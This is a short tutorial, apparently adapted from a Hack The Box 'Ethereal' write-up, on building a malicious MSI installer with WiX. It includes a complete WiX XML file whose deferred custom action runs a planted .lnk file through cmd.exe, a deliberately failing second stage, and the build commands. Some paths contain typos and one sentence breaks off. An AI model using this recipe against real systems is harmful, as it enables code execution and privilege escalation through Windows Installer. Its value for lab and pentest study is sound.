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# Create MSI with WIX
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**Tutorial copied from ** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root** ](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root )\
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In order to create the msi we will use [wixtools ](http://wixtoolset.org ) , you can use other msi builders but they didn’
Check [this page ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with ) for some wix msi usage examples.\
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We will create an msi that executes our lnk file :
```markup
<?xml version="1.0"?>
< Wix xmlns = "http://schemas.microsoft.com/wix/2006/wi" >
< Product Id = "*" UpgradeCode = "12345678-1234-1234-1234-111111111111" Name = "Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
< Package InstallerVersion = "200" Compressed = "yes" Comments = "Windows Installer Package" / >
< Media Id = "1" Cabinet = "product.cab" EmbedCab = "yes" / >
< Directory Id = "TARGETDIR" Name = "SourceDir" >
< Directory Id = "ProgramFilesFolder" >
< Directory Id = "INSTALLLOCATION" Name = "Example" >
< Component Id = "ApplicationFiles" Guid = "12345678-1234-1234-1234-222222222222" >
< / Component >
< / Directory >
< / Directory >
< / Directory >
< Feature Id = "DefaultFeature" Level = "1" >
< ComponentRef Id = "ApplicationFiles" / >
< / Feature >
< Property Id = "cmdline" > cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</ Property >
< CustomAction Id = "Stage1" Execute = "deferred" Directory = "TARGETDIR" ExeCommand = '[cmdline]' Return = "ignore"
Impersonate="yes"/>
< CustomAction Id = "Stage2" Execute = "deferred" Script = "vbscript" Return = "check" >
fail_here
< / CustomAction >
< InstallExecuteSequence >
< Custom Action = "Stage1" After = "InstallInitialize" > < / Custom >
< Custom Action = "Stage2" Before = "InstallFiles" > < / Custom >
< / InstallExecuteSequence >
< / Product >
< / Wix >
```
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We will use `candle.exe` from wixtools to create a wixobject from `msi.xml`
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```markup
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
Then we will use `light.exe` to create the msi file from the wixobject:
```markup
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
